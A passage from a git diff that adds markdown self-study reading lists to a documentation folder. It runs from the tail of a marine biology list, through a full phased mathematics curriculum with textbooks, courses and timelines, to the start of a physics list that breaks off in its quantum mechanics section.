currents (wind-driven, Ekman transport, western boundary intensification), deep currents (thermohaline circulation, global conveyor belt). Coriolis effect quantitatively. + +- **Tides:** Gravitational theory, spring and neap tides, tidal range variation. + +- **Waves:** Wave generation, propagation, shoaling, breaking. + +- **Upwelling and downwelling:** Ekman transport driving coastal upwelling, upwelling as fishery hotspots (Peru, California, Benguela, Canary), El Nino/La Nina as disruptions. + +- **Thermohaline circulation:** AMOC, heat transport role, concern about weakening under climate change. + +**Supplementary:** **Knauss, "Introduction to Physical Oceanography"** -- for when Garrison is too qualitative. Assumes comfort with differential equations. + +#### Chemical Oceanography + +- **Seawater composition:** Major ions, salinity measurement, conservative vs. non-conservative properties. + +- **Dissolved gases:** O2 and CO2 solubility, oxygen minimum zone, gas exchange at air-sea interface. + +- **Ocean acidification:** The carbonate chemistry system (CO2 + H2O -> H2CO3 -> HCO3- + H+ -> CO32- + 2H+), saturation horizons for aragonite and calcite, impacts on calcifying organisms. Arguably the most important chemical oceanography topic for current marine biology crises. + +- **The carbon cycle:** Biological pump, solubility pump, carbonate pump. The ocean as a carbon sink and its limits. + +**Supplementary:** **Emerson & Hedges, "Chemical Oceanography and the Marine Carbon Cycle"** -- more rigorous for someone comfortable with equilibrium chemistry. + +#### Marine Conservation + +- **Overfishing:** Maximum sustainable yield (MSY) and its failures, collapse of cod stocks (read Mark Kurlansky's "Cod" for the historical narrative), bycatch, bottom trawling. + +- **Habitat destruction:** Coastal development, mangrove loss, coral reef degradation, seagrass decline. + +- **Climate change impacts:** Ocean warming (thermal stress, range shifts, coral bleaching), sea level rise, Arctic ice loss, phenology changes. + +- **Coral bleaching:** Mechanism (thermal stress causes coral to expel zooxanthellae), mass bleaching events (1998, 2010, 2016, 2017, 2020, 2023-2024), recovery potential, assisted evolution research. + +- **Marine protected areas (MPAs):** Design principles (size, spacing, connectivity, no-take vs. multi-use), effectiveness evidence, 30x30 initiative. + +- **Plastic pollution:** Microplastics, bioaccumulation, the garbage patches (diffuse concentrations, not floating islands). + +**Key books:** + +- **Roberts, Callum, "The Ocean of Life"** -- Best single-volume overview of human impacts on the ocean. +- **Earle, Sylvia, "The World Is Blue"** -- Conservation perspective from the most accomplished living marine biologist. +- **Kurlansky, Mark, "Cod: A Biography of the Fish that Changed the World"** -- Best account of what happens when we treat a marine resource as infinite. + +#### Deep Sea Biology + +- **Hydrothermal vents:** Chemosynthetic bacteria as primary producers, vent communities (giant tube worms, vent shrimp, pompeii worms), vent biogeography, the discovery story (1977, Galapagos Rift). + +- **Bioluminescence:** Functions (predator avoidance, prey attraction, communication), mechanisms (luciferin-luciferase reactions, bacterial symbiosis), prevalence (most deep-sea organisms are bioluminescent). + +- **Extremophiles:** Barophiles/piezophiles, psychrophiles, thermophiles, implications for astrobiology. + +- **Whale falls:** Succession ecology on whale carcasses, chemosynthetic communities. + +**Key book:** **Nouvian, Claire, "The Deep"** -- Large-format book with stunning photographs of deep-sea organisms. Invaluable for visual familiarity. + +#### Marine Biotechnology (Overview) + +- Marine natural products (pharmaceuticals from sponges, tunicates, cone snails) +- Biofouling and anti-fouling compounds +- Environmental DNA (eDNA) for biodiversity monitoring +- Aquaculture genetics + +--- + +## Part 2: Visual and Media Resources + +Marine biology is inherently visual. + +### Documentaries + +- **Blue Planet II** (BBC, 2017) -- The single best visual companion. Every episode maps to textbook chapters. +- **Blue Planet** (BBC, 2001) -- The original. Still excellent. +- **Chasing Coral** (Netflix, 2017) -- Time-lapse documentation of coral bleaching. +- **My Octopus Teacher** (Netflix, 2020) -- Kelp forest ecology, cephalopod intelligence. +- **Mission Blue** (Netflix, 2014) -- Sylvia Earle and the case for MPAs. + +### Online Video + +- **MBARI YouTube Channel** -- Monterey Bay Aquarium Research Institute. Not optional. Their ROV footage of deep-sea organisms is irreplaceable. Watch their videos on: siphonophores, deep-sea gigantism, midwater ecology, giant larvaceans, and ROV operations. +- **Nautilus Live** (YouTube, E/V Nautilus) -- Live and archived ROV footage with scientist commentary. +- **Schmidt Ocean Institute** (YouTube) -- Seamount and hydrothermal vent biology. + +### Online Courses and Resources + +- **NOAA Ocean Explorer** (oceanexplorer.noaa.gov) -- Educational resources, expedition logs, multimedia. +- **Coursera: "Marine Biology" by James Cook University** -- Decent overview. Supplement, not replacement. +- **MIT OCW 12.742** (Marine Chemistry) -- Quantitative treatment of ocean chemistry. + +--- + +## Part 3: Staying Current + +### Journals + +- **Marine Ecology Progress Series (MEPS)** -- The workhorse journal. Broad scope, high quality. Read abstracts regularly. +- **Marine Biology** -- Organismal and ecological studies. +- **Deep-Sea Research Parts I and II** -- Essential for deep-sea interest. +- **Coral Reefs** -- Specialized but increasingly important. +- **Limnology and Oceanography** -- More technical, covers nutrient cycling and productivity. + +### News and Aggregation + +- **Hakai Magazine** (hakaimagazine.com) -- Coastal science journalism. Excellent long-form. +- **Oceanbites** (oceanbites.org) -- Grad students summarizing recent papers. +- **The Conversation** (marine biology section) -- Scientists writing accessible summaries. + +--- + +## Part 4: Suggested Reading Order + +**Weeks 1-3: Prerequisites** +1. Campbell Biology, selected chapters (cell bio, evolution, ecology) +2. Zumdahl Chemistry, selected chapters (solutions, acids/bases, gases) +3. Garrison Oceanography, chapters 1-8 (physical and chemical oceanography) + +**Weeks 4-8: Core Marine Biology** +4. Castro & Huber, read cover to cover +5. Watch Blue Planet II in parallel, matching episodes to chapters + +**Weeks 9-12: Deepening** +6. Nybakken, chapters on intertidal ecology, deep sea, and pelagic environment +7. Roberts, "The Ocean of Life" +8. Begin watching MBARI videos systematically + +**Weeks 13-16: Specialization and Current Literature** +9. Levinton, selected chapters based on emerging interests +10. Read Paine (1966) and 2-3 other classic papers +11. Set up journal alerts and begin reading MEPS abstracts +12. Kurlansky, "Cod" + +**Ongoing:** +13. Follow journals, watch new MBARI/Nautilus uploads, read Hakai Magazine + +--- + +## Notes for a Mathematician + +Your mathematical background is an asset. Specific areas where it pays off: + +- **Population dynamics:** Lotka-Volterra, logistic growth, age-structured models (Leslie matrices). You can read quantitative fisheries literature directly. +- **Biogeography:** Species-area relationships, island biogeography theory (MacArthur & Wilson). +- **Fluid dynamics:** Physical oceanography is applied fluid mechanics. Navier-Stokes govern ocean currents. +- **Statistics:** Marine ecology is heavily statistical. Multivariate analysis, spatial statistics, Bayesian methods are standard. +- **Network theory:** Food web analysis uses graph theory. +- **The paradox of the plankton** (Hutchinson 1961): A perfect entry point for a mathematician interested in ecology. + +The key risk for a math person entering biology is impatience with natural history. Resist this. Knowing that *Pisaster ochraceus* is the keystone predator in the Pacific Northwest intertidal, that *Symbiodiniaceae* is the family of dinoflagellates living inside coral tissue, that *Riftia pachyptila* is the giant tube worm at hydrothermal vents -- this taxonomic and organismal knowledge is not reducible to equations, and it is what separates someone who "knows about marine biology" from someone who can actually talk to marine biologists. diff --git a/doc/knowledge/mathematics.md b/doc/knowledge/mathematics.md new file mode 100644 index 0000000000000000000000000000000000000000..08c392fd3130f7ce7b1c42f019cfb7929361a39f --- /dev/null +++ b/doc/knowledge/mathematics.md @@ -0,0 +1,354 @@ +# Mathematics Reading List: From Foundations to Research-Level Breadth + +A structured curriculum for a pure mathematics undergraduate who wants comprehensive coverage across all major areas, with enough mathematical physics to collaborate meaningfully with string theorists and cosmologists. + +This is not a bibliography. It is a sequenced plan. Work through each phase before moving to the next. Within each phase, subjects can be studied concurrently where noted. + +--- + +## How to Use This List + +Each phase assumes completion of the previous one. Within a phase, items marked **(concurrent)** can be studied in parallel. Items marked **(sequential)** depend on earlier entries in the same phase. + +For each subject: one primary text, one backup or supplement, one problem source, and relevant free resources. No more than necessary. + +--- + +## Phase 0: Filling Gaps (1--3 months) + +Skip this phase only if you can comfortably do the following without hesitation: manipulate algebraic expressions with exponents and logarithms, graph rational functions, work with trigonometric identities, and read summation/product notation. + +### Pre-Calculus and Mathematical Maturity + +**Primary Text** +- *Precalculus* by Stewart, Redlin, and Watson (7th ed.) -- Comprehensive and well-paced. Use this to patch specific gaps, not to read cover to cover. + +**Supplements** +- Paul's Online Math Notes, Algebra and Trig sections (tutorial.math.lamar.edu) -- Best free reference for computational fluency. Bookmark it permanently; you will return to it through calculus. +- Krista King, Pre-Calculus course -- Short, clear video explanations. Good for unsticking yourself on a specific topic. + +**Transition to Proof** +- *How to Prove It* by Daniel Velleman (3rd ed.) -- Read this before or alongside early calculus. You need to be comfortable with direct proof, contradiction, induction, and basic set operations before Phase 1 ends. + +--- + +## Phase 1: Core Foundations (8--12 months) + +These are the load-bearing walls. Every later subject depends on fluency here. + +### Single-Variable Calculus **(concurrent with Linear Algebra)** + +**Primary Text** +- *Calculus* by James Stewart (8th or 9th ed.) -- The standard computational text. Work the exercises. You need speed and accuracy with limits, derivatives, integrals, and series before touching analysis. + +**Deeper Alternative** +- *Calculus* by Michael Spivak (4th ed.) -- Proof-based calculus. If you want to start building analysis intuition early, use Spivak instead of Stewart. Significantly harder. Choose one or the other as your primary; do not try to work through both simultaneously. + +**Supplements** +- 3Blue1Brown, *Essence of Calculus* (YouTube series) -- Watch before or alongside your text. Builds geometric intuition that textbooks often skip. +- Professor V (YouTube) -- Worked examples and exam walkthroughs. Useful when stuck on specific problem types. +- Paul's Online Math Notes, Calculus I and II -- Comprehensive worked examples for every standard technique. +- MIT OCW 18.01, Single Variable Calculus (lectures by David Jerison) -- Full lecture series with problem sets and exams. + +**Problem Drilling** +- *Problems in Mathematical Analysis I* by Kaczor and Nowak -- Enormous problem set organized by topic. Use selectively for areas where you feel weak. + +### Linear Algebra **(concurrent with Single-Variable Calculus)** + +**Primary Text** +- *Linear Algebra Done Right* by Sheldon Axler (4th ed., 2024) -- Determinant-free approach that builds correct abstract thinking from the start. The 4th edition is available as a free PDF from Axler's website. + +**Computational Supplement** +- *Introduction to Linear Algebra* by Gilbert Strang (6th ed.) -- Use this if you need more computational practice. Strang's MIT OCW 18.06 lectures pair with this text. + +**Supplements** +- 3Blue1Brown, *Essence of Linear Algebra* (YouTube series) -- Geometric visualization of linear transformations. Watch this first. +- MIT OCW 18.06, Linear Algebra (lectures by Gilbert Strang) -- The classic lecture series. +- Krista King, Linear Algebra course -- Quick reference for specific techniques. + +**Problem Drilling** +- *Linear Algebra Problem Book* by Paul Halmos -- Teaches through problems. Excellent for building proof skills in the linear algebra context. + +### Multivariable and Vector Calculus **(sequential, after single-variable)** + +**Primary Text** +- *Vector Calculus* by Marsden and Tromba (6th ed.) -- Covers multivariable calculus and vector analysis with enough rigor to prepare for analysis and differential geometry. + +**Supplements** +- Paul's Online Math Notes, Calculus III -- Covers all standard multivariable and vector calculus topics with worked examples. +- MIT OCW 18.02, Multivariable Calculus (lectures by Denis Auroux) -- Full lecture series. +- Professor V (YouTube) -- Worked problems in multivariable calculus. + +### Ordinary Differential Equations **(sequential, after single-variable calculus and linear algebra)** + +**Primary Text** +- *Ordinary Differential Equations* by Morris Tenenbaum and Harry Pollard (Dover) -- Extremely thorough, inexpensive, and full of worked examples. Better for self-study than most modern texts. + +**Supplements** +- Paul's Online Math Notes, Differential Equations -- Covers all standard ODE solution techniques. +- MIT OCW 18.03, Differential Equations (lectures by Arthur Mattuck) -- Excellent lecture series. +- Krista King, Differential Equations course -- Short and focused. + +### Discrete Mathematics **(concurrent with anything in Phase 1)** + +**Primary Text** +- *Discrete Mathematics and Its Applications* by Kenneth Rosen (8th ed.) -- Covers combinatorics, graph theory, recurrence relations, and basic number theory. Standard reference. + +**Alternative** +- *Concrete Mathematics* by Graham, Knuth, and Patashnik (2nd ed.) -- Harder and more idiosyncratic but develops real combinatorial skill. Better if you already have some mathematical maturity. + +### Mathematical Logic and Set Theory **(concurrent, start after reading Velleman)** + +**Primary Text** +- *A Mathematical Introduction to Logic* by Herbert Enderton (2nd ed.) -- Covers propositional logic, first-order logic, completeness, and compactness. Clear and appropriately rigorous. + +**Set Theory** +- *Naive Set Theory* by Paul Halmos -- Short, readable, and sufficient for all purposes until you specialize in logic or foundations. Read it in a week. + +--- + +## Phase 2: Intermediate Core (10--14 months) + +This is where mathematics starts to feel like mathematics. Every subject here is essential. + +### The Rudin Progression (Analysis Spine) + +The analysis track follows the Rudin trilogy as the primary spine, with supplementary texts filling gaps between each level: + +1. **Baby Rudin** -- *Principles of Mathematical Analysis* (3rd ed.) -- Real analysis foundations. This phase. +2. **Papa Rudin** -- *Real and Complex Analysis* (3rd ed.) -- Measure theory, Lebesgue integration, L^p spaces, complex analysis unified. Phase 3. +3. **Grandpa Rudin** -- *Functional Analysis* (2nd ed.) -- Topological vector spaces, Banach/Hilbert spaces, distributions, spectral theory. Phase 3. + +This does not mean Baby Rudin is the only analysis book you will use at this level. Abbott, Stein & Shakarchi, and others fill important roles alongside it. But the Rudin progression is the through-line that takes you from first-year analysis to research-level functional analysis. + +### Real Analysis **(start here; prerequisite for most of Phase 2)** + +**Primary Text** +- *Principles of Mathematical Analysis* by Walter Rudin (3rd ed.) -- "Baby Rudin." The standard text. Dense and clean. You will struggle with it. That is the point. + +**Gentler Alternative** +- *Understanding Analysis* by Stephen Abbott (2nd ed.) -- If Rudin is too steep initially, start with Abbott and transition to Rudin at chapter 3 or 4. Abbott builds intuition; Rudin builds precision. + +**Supplements** +- MIT OCW 18.100A, Real Analysis -- Lecture notes and problem sets. +- Francis Su's *Real Analysis* lectures (YouTube, Harvey Mudd) -- Outstanding lecture series. Covers the material at the Rudin level with more motivation. + +**Problem Drilling** +- *Problems in Mathematical Analysis* by Boris Demidovich -- Thousands of graded problems. The standard Russian problem collection. +- *Problems in Real Analysis* by Aliprantis and Burkinshaw (2nd ed.) -- More advanced problems, good for exam preparation. + +### Abstract Algebra **(concurrent with Real Analysis)** + +**Primary Text** +- *Abstract Algebra* by Dummit and Foote (3rd ed.) -- The comprehensive reference. Covers groups, rings, modules, fields, and Galois theory. You will not finish it in one pass; that is expected. Focus on Parts I--III (groups, rings, modules) in this phase. + +**Alternative** +- *Algebra* by Michael Artin (2nd ed.) -- More geometric and example-driven than Dummit and Foote. Better first exposure for some people, but less comprehensive as a reference. + +**Supplements** +- Benedict Gross's *Abstract Algebra* lectures (Harvard, YouTube) -- Excellent motivation and examples. +- MIT OCW 18.703, Modern Algebra -- Lecture notes and problem sets. + +### Complex Analysis **(sequential, after Real Analysis begins)** + +**Primary Text** +- *Complex Analysis* by Lars Ahlfors (3rd ed.) -- The classic graduate-level text. Demanding but beautifully written. If this is too steep, start with the alternative below. + +**Alternative** +- *Complex Analysis* by Elias Stein and Rami Shakarchi (Princeton Lectures in Analysis, Book II) -- Part of an outstanding four-volume series. More modern exposition, slightly gentler than Ahlfors. + +**Visual Supplement** +- 3Blue1Brown's videos on analytic continuation and the Riemann zeta function -- Not a course, but builds geometric intuition for complex functions. +- *Visual Complex Analysis* by Tristan Needham (2nd ed., 2023) -- Geometric approach. Excellent companion to any rigorous text. Do not use as your only source; it deliberately avoids standard proof techniques. + +### Probability and Statistics **(concurrent with Real Analysis)** + +**Primary Text** +- *Probability and Random Processes* by Geoffrey Grimmett and David Stirzaker (4th ed.) -- Covers both discrete and continuous probability with enough rigor to prepare for measure-theoretic probability later. + +**Alternative for Statistics Focus** +- *Statistical Inference* by Casella and Berger (2nd ed.) -- The standard mathematical statistics text. More focused on inference than Grimmett and Stirzaker. + +**Supplement** +- MIT OCW 18.05, Introduction to Probability and Statistics -- Good for computational practice. +- *Introduction to Probability* by Blitzstein and Hwang -- Freely available. Excellent for building probabilistic intuition. + +### Topology **(sequential, after some Real Analysis)** + +**Primary Text** +- *Topology* by James Munkres (2nd ed.) -- The universal standard. Clear, well-organized, with good exercises. Parts I and II (general topology) are essential. Part III (algebraic topology) is a preview for Phase 3. + +**Supplement** +- MIT OCW 18.901, Introduction to Topology -- Lecture notes following Munkres. + +### Number Theory **(concurrent with Abstract Algebra)** + +**Primary Text** +- *An Introduction to the Theory of Numbers* by Hardy and Wright (6th ed.) -- Classic text. Assumes only calculus. Covers arithmetic functions, primes, continued fractions, and quadratic forms. + +**Alternative** +- *Elementary Number Theory* by Kenneth Ireland and Michael Rosen (2nd ed., titled *A Classical Introduction to Modern Number Theory*) -- More algebraic and connects to modern research directions. Requires some algebra background. + +**Problem Drilling** +- *250 Problems in Elementary Number Theory* by Sierpinski -- Short, focused, and well-graded. + +--- + +## Phase 3: Advanced and Physics Crossover (12--18 months) + +This phase builds the machinery needed for research-level mathematics and for productive collaboration with theoretical physicists. + +### Measure Theory and Lebesgue Integration **(sequential, after Real Analysis and Topology)** + +**Primary Text (Rudin Progression Step 2)** +- *Real and Complex Analysis* by Walter Rudin (3rd ed.) -- "Papa Rudin." Unifies measure theory, Lebesgue integration, L^p spaces, and complex analysis into a single coherent treatment. This is the natural continuation after Baby Rudin. The first half covers abstract measure theory and integration; the second half treats complex analysis at a deeper level than Ahlfors. + +**Alternative/Supplement** +- *Real Analysis: Modern Techniques and Their Applications* by Gerald Folland (2nd ed.) -- More detailed than Papa Rudin on certain topics (Radon-Nikodym, product measures). Good companion when Rudin is too terse. +- *Measure Theory* by Paul Halmos -- Shorter, older, but exceptionally clear. Good if Folland feels overwhelming. + +**Supplement** +- *Real Analysis* by Elias Stein and Rami Shakarchi (Princeton Lectures in Analysis, Book III) -- Excellent companion. Covers Lebesgue theory with strong connections to harmonic analysis. + +### Functional Analysis **(sequential, after Measure Theory and Linear Algebra)** + +**Primary Text (Rudin Progression Step 3)** +- *Functional Analysis* by Walter Rudin (2nd ed.) -- "Grandpa Rudin." Topological vector spaces, Banach algebras, spectral theory, distributions, and unbounded operators. This completes the Rudin trilogy. It is demanding -- the generality (starting from topological vector spaces rather than just Banach spaces) is the point. + +**Gentler Introduction** +- *Introductory Functional Analysis with Applications* by Erwin Kreyszig -- The gentlest rigorous introduction. Covers Banach spaces, Hilbert spaces, spectral theory, and applications. Read this before or alongside Grandpa Rudin if the latter is too steep as a first exposure. Particularly good for physics-adjacent mathematicians. + +**Supplement** +- MIT OCW 18.102, Introduction to Functional Analysis -- Lecture notes and problem sets. + +### Partial Differential Equations **(sequential, after Real Analysis, ODE, and Multivariable Calculus)** + +**Primary Text** +- *Partial Differential Equations* by Lawrence C. Evans (2nd ed.) -- The standard graduate text. Covers classical solutions, Sobolev spaces, and weak solutions. Demanding but comprehensive. + +**Gentler Introduction** +- *Partial Differential Equations: An Introduction* by Walter Strauss (2nd ed.) -- Undergraduate level. Good warmup before Evans. + +### Differential Geometry **(sequential, after Topology, Linear Algebra, and Multivariable Calculus)** + +This is the critical bridge to mathematical physics. String theory and general relativity live here. + +**Primary Text** +- *Introduction to Smooth Manifolds* by John M. Lee (2nd ed.) -- The modern standard for smooth manifolds, tangent spaces, differential forms, and integration on manifolds. Extremely well-written. + +**Prerequisite/Companion** +- *Introduction to Topological Manifolds* by John M. Lee (2nd ed.) -- Read the relevant chapters if your topology background from Munkres feels insufficient for smooth manifolds. + +**Physics-Oriented Supplement** +- *Geometry, Topology and Physics* by Mikio Nakahara (2nd ed.) -- Covers fiber bundles, connections, characteristic classes, and index theorems with explicit physics motivation. This is the book that lets you talk to string theorists. + +**Classical Differential Geometry** +- *Differential Geometry of Curves and Surfaces* by Manfredo do Carmo (2nd ed.) -- Curves and surfaces in R^3. Good geometric warmup before abstract manifold theory. + +**Visual Supplement** +- *Visual Differential Geometry and Forms* by Tristan Needham (2021) -- Same geometric philosophy as his complex analysis book. Outstanding for building intuition about curvature, geodesics, and differential forms. + +### Abstract Algebra, Continued **(concurrent)** + +Return to Dummit and Foote, Parts IV--VI: field theory, Galois theory, commutative algebra, and representation theory. Representation theory is directly relevant to physics (symmetry groups in particle physics and string theory). + +**Representation Theory Supplement** +- *Representation Theory: A First Course* by Fulton and Harris -- Covers representations of finite groups and Lie algebras with explicit examples. Essential for physics crossover. + +### Algebraic Topology **(sequential, after Topology and Abstract Algebra)** + +**Primary Text** +- *Algebraic Topology* by Allen Hatcher -- Freely available from Hatcher's website. Covers fundamental group, homology, and cohomology. The standard first text. + +**Supplement** +- MIT OCW 18.905, Algebraic Topology I -- Lecture notes. + +--- + +## Phase 4: Mathematical Physics Bridge (concurrent with late Phase 3) + +These are not pure mathematics texts. They are the interface layer that lets you work with physicists. + +### Classical Mechanics (Mathematical Formulation) + +- *Mathematical Methods of Classical Mechanics* by V.I. Arnold -- Symplectic geometry, Lagrangian and Hamiltonian mechanics on manifolds. Beautiful mathematics in its own right. + +### Quantum Mechanics (Mathematical Formulation) + +- *Quantum Mechanics for Mathematicians* by Leon Takhtajan -- Rigorous Hilbert space formulation. Assumes functional analysis. +- *Mathematical Foundations of Quantum Mechanics* by John von Neumann -- The original rigorous treatment. Still worth reading. + +### General Relativity + +- *Semi-Riemannian Geometry with Applications to Relativity* by Barrett O'Neill -- Riemannian and Lorentzian geometry done rigorously with GR as the payoff. +- *Spacetime and Geometry* by Sean Carroll -- Less rigorous but gives you the physical intuition and notation that working physicists use. + +### Quantum Field Theory and String Theory (Mathematical Aspects) + +- *Quantum Fields and Strings: A Course for Mathematicians* (Deligne, Freed, et al., IAS/Park City volumes) -- Freely available from the IAS. Written by mathematicians for mathematicians. Dense but authoritative. +- *Mirror Symmetry* by Hori, Katz, Klemm, et al. (Clay Mathematics Monograph) -- Freely available. Covers the mathematics of mirror symmetry at the interface of algebraic geometry and string theory. + +### Lie Groups and Lie Algebras + +- *Introduction to Lie Algebras and Representation Theory* by James Humphreys -- Short and efficient. Covers structure theory and representation theory of semisimple Lie algebras. +- *Lie Groups, Lie Algebras, and Representations* by Brian Hall (2nd ed.) -- More accessible. Starts from matrix groups. + +--- + +## Permanent Reference Shelf + +These are not meant to be read linearly. Keep them accessible for lookup. + +- *Handbook of Mathematics* by Bronshtein, Semendyayev, Musiol, and Muehlig -- Comprehensive formula and theorem reference. +- *Counterexamples in Analysis* by Gelbaum and Olmsted -- Invaluable for understanding why hypotheses matter. +- *Counterexamples in Topology* by Steen and Seebach -- Same purpose for topology. +- *Princeton Companion to Mathematics* edited by Timothy Gowers -- Survey of all major areas. Read entries on subjects before studying them formally. +- *Mathematical Methods for Physics and Engineering* by Riley, Hobson, and Bence (3rd ed.) -- When you need to quickly learn a technique that physicists use and mathematicians do not emphasize. + +--- + +## Free Online Resources (Permanent Bookmarks) + +| Resource | URL | Use | +|----------|-----|-----| +| Paul's Online Math Notes | tutorial.math.lamar.edu | Calculus and ODE reference, worked examples | +| MIT OpenCourseWare | ocw.mit.edu | Full courses with problem sets for most subjects above | +| 3Blue1Brown | youtube.com/3blue1brown | Visual intuition for calculus, linear algebra, topology, complex analysis | +| Professor V | youtube.com/@professorv | Worked examples in calculus, linear algebra, ODE | +| Krista King | kristakingmath.com | Short, clear video explanations for computational topics | +| Evan Chen's Napkin | web.evanchen.cc/napkin.html | "An Infinitely Large Napkin" -- fast survey of undergraduate and early graduate math, free PDF | +| Keith Conrad's Expository Papers | kconrad.math.uconn.edu/blurbs/ | Short, clear treatments of specific topics in algebra and number theory | +| Terence Tao's Blog | terrytao.wordpress.com | Expository posts on analysis, combinatorics, and number theory | +| Allen Hatcher's Books | pi.math.cornell.edu/~hatcher/ | Free PDFs of Algebraic Topology and related texts | + +--- + +## Drilling and Competition Problem Sources + +These develop speed, pattern recognition, and the ability to solve problems you have not seen before. + +- *Problems and Theorems in Analysis I, II* by Polya and Szego -- Classical problem sequences that teach through guided discovery. +- *Problem-Solving Through Recreational Mathematics* by Averbach and Chein -- Good warmup for mathematical competition problems. +- *Putnam and Beyond* by Razvan Gelca and Titu Andreescu -- Organized by subject. The best single competition problem book for undergraduates. +- *Problems in Abstract Algebra* by Charles Lanski -- Thorough problem set for groups, rings, and fields. +- Art of Problem Solving (artofproblemsolving.com) -- Community and archive of competition problems. + +--- + +## Sequencing Summary + +| Months | Phase | Core Subjects | +|--------|-------|---------------| +| 1--3 | 0 | Pre-calculus gaps, proof techniques | +| 3--15 | 1 | Calculus (all), Linear Algebra, ODE, Discrete Math, Logic/Set Theory | +| 15--28 | 2 | Real Analysis, Abstract Algebra, Complex Analysis, Probability, Topology, Number Theory | +| 28--46 | 3 | Measure Theory, Functional Analysis, PDE, Differential Geometry, Algebraic Topology, Representation Theory | +| 40--46+ | 4 | Mathematical Physics bridge (concurrent with late Phase 3) | + +These timelines assume serious part-time study (15--20 hours per week) alongside coursework. Full-time self-study compresses them by roughly 40%. + +--- + +## A Note on Method + +Read with pencil in hand. Do every exercise you encounter until you can do them without hesitation, then move on. Mathematics is learned by doing, not by reading. When you get stuck, spend at least 30 minutes before consulting solutions. If you are not getting stuck regularly, the material is too easy and you should skip ahead. diff --git a/doc/knowledge/physics.md b/doc/knowledge/physics.md new file mode 100644 index 0000000000000000000000000000000000000000..43a5d3054507f0dfb548040ff6ee083d420c3656 --- /dev/null +++ b/doc/knowledge/physics.md @@ -0,0 +1,247 @@ +# Physics Reading List: From Zero to Research Literature + +**Audience:** Pure math undergraduate with no prior physics. Mathematical rigor preferred over hand-waving. End goal: read research literature in dark matter, string theory, and theoretical physics. + +**Long-term spine:** Landau & Lifshitz, *Course of Theoretical Physics* (10 volumes). Once you have the foundations from Phase 1, L&L becomes the primary vehicle for deepening your physics understanding. The individual volumes are noted at the appropriate points below. + +--- + +## Phase 0: Orientation and Motivation + +Before grinding through textbooks, build intuition for what physics is actually about and where the field stands. + +- **Feynman, *The Character of Physical Law*** -- Short, readable, gives you a sense of how physicists think. Not a textbook. Read in a weekend. +- **Sean Carroll, *The Biggest Ideas in the Universe* (3 volumes)** -- Carroll is a working cosmologist who refuses to dumb things down. Volume 1 (Space, Time, and Motion) covers classical mechanics through GR with real equations. Volume 2 (Quanta and Fields) does the same for QM and QFT. These are conceptual companions, not replacements for textbooks. +- **Susskind & Hrabovsky, *The Theoretical Minimum: What You Need to Know to Start Doing Physics*** -- Covers classical mechanics at minimum viable depth. Designed for exactly your situation. Pairs with Susskind's Stanford lecture series (free on YouTube). + +--- + +## Phase 1: Foundations + +These are the core undergraduate physics subjects. You need all of them before touching QFT or GR properly. + +### 1.1 Classical Mechanics + +This is where you learn Lagrangian and Hamiltonian mechanics, which are the language of all subsequent physics. + +- **Taylor, *Classical Mechanics*** -- Standard undergraduate text. Clear, well-structured, good problems. Covers Newton, Lagrange, Hamilton, oscillations, central forces, rigid bodies. Start here. +- **Kleppner & Kolenkow, *An Introduction to Mechanics*** -- More rigorous Newtonian mechanics. Good if Taylor feels too slow at the start. +- **Landau & Lifshitz, *Mechanics* (Course of Theoretical Physics, Vol. 1)** -- Terse, elegant, starts from the principle of least action. A math student will appreciate the style. Use as a second pass after Taylor. +- **Goldstein, Poole & Safko, *Classical Mechanics* (3rd ed.)** -- Graduate-level. Comprehensive treatment of Lagrangian/Hamiltonian mechanics, canonical transformations, Hamilton-Jacobi theory. You will want this before doing QFT. +- **Arnold, *Mathematical Methods of Classical Mechanics*** -- The differential-geometric treatment. Symplectic manifolds, Lie groups. As a math student you may find this the most satisfying treatment, but read it after Taylor or Goldstein so you have physical intuition to attach the formalism to. + +**Online:** +- MIT OCW 8.01 (Newtonian, skip if comfortable) and 8.223 (Classical Mechanics II -- Lagrangian/Hamiltonian). +- Susskind, *Theoretical Minimum* Lecture 1-10 (Classical Mechanics), Stanford on YouTube. + +### 1.2 Electromagnetism + +- **Griffiths, *Introduction to Electrodynamics* (4th ed.)** -- The universal standard. Covers electrostatics, magnetostatics, electrodynamics, Maxwell's equations, electromagnetic waves, special relativity. Do the problems. +- **Purcell & Morin, *Electricity and Magnetism* (3rd ed.)** -- More physical intuition. Good complement to Griffiths. +- **Landau & Lifshitz, *The Classical Theory of Fields* (Course of Theoretical Physics, Vol. 2)** -- Covers special relativity AND electrodynamics in a unified treatment. Also introduces general relativity. Read after Griffiths. This is where L&L starts paying dividends -- the relativistic formulation of electrodynamics here is more elegant than what you will find elsewhere. +- **Jackson, *Classical Electrodynamics* (3rd ed.)** -- Graduate-level. Notorious for difficulty. Use as reference for radiation theory, multipole expansions, relativistic electrodynamics. + +**Online:** +- MIT OCW 8.02 (basic E&M), 8.07 (Electromagnetism II, pairs with Griffiths). +- Feynman Lectures on Physics, Volume II (free at feynmanlectures.caltech.edu). + +### 1.3 Thermodynamics and Statistical Mechanics + +- **Schroeder, *An Introduction to Thermal Physics*** -- Excellent first text. Covers thermodynamics, statistical mechanics, quantum statistics. +- **Landau & Lifshitz, *Statistical Physics, Part 1* (Course of Theoretical Physics, Vol. 5)** -- Terse and elegant. Read after Schroeder. The L&L treatment of phase transitions and the Gibbs distribution is particularly good. +- **Reif, *Fundamentals of Statistical and Thermal Physics*** -- More rigorous, denser. Good second treatment. +- **Pathria & Beale, *Statistical Mechanics* (3rd ed.)** -- Graduate-level. Comprehensive. + +**Online:** +- MIT OCW 8.044 (Statistical Physics I). +- Susskind, *Theoretical Minimum* lectures on Statistical Mechanics. + +### 1.4 Special Relativity + +- **Taylor & Wheeler, *Spacetime Physics* (2nd ed.)** -- The classic introduction. Focuses on invariants and spacetime diagrams. +- **Griffiths, *Introduction to Electrodynamics*, Chapter 12** -- SR from the E&M perspective. Shows how electric and magnetic fields transform. +- **L&L Vol. 2 (*The Classical Theory of Fields*)** covers SR thoroughly in its first half. + +--- + +## Phase 2: Intermediate / Upper Undergraduate + +### 2.1 Quantum Mechanics + +- **Griffiths, *Introduction to Quantum Mechanics* (3rd ed.)** -- Standard first course. Wave function, Schrodinger equation, hydrogen atom, angular momentum, perturbation theory, scattering. +- **Shankar, *Principles of Quantum Mechanics* (2nd ed.)** -- More mathematical. Starts with linear algebra review, then develops QM from the Dirac formalism. Better suited to someone who thinks in terms of vector spaces and operators. +- **Landau & Lifshitz, *Quantum Mechanics: Non-Relativistic Theory* (Course of Theoretical Physics, Vol. 3)** -- The L&L treatment is characteristically concise and powerful. The chapters on angular momentum, perturbation theory, and scattering are superb. Read after Griffiths 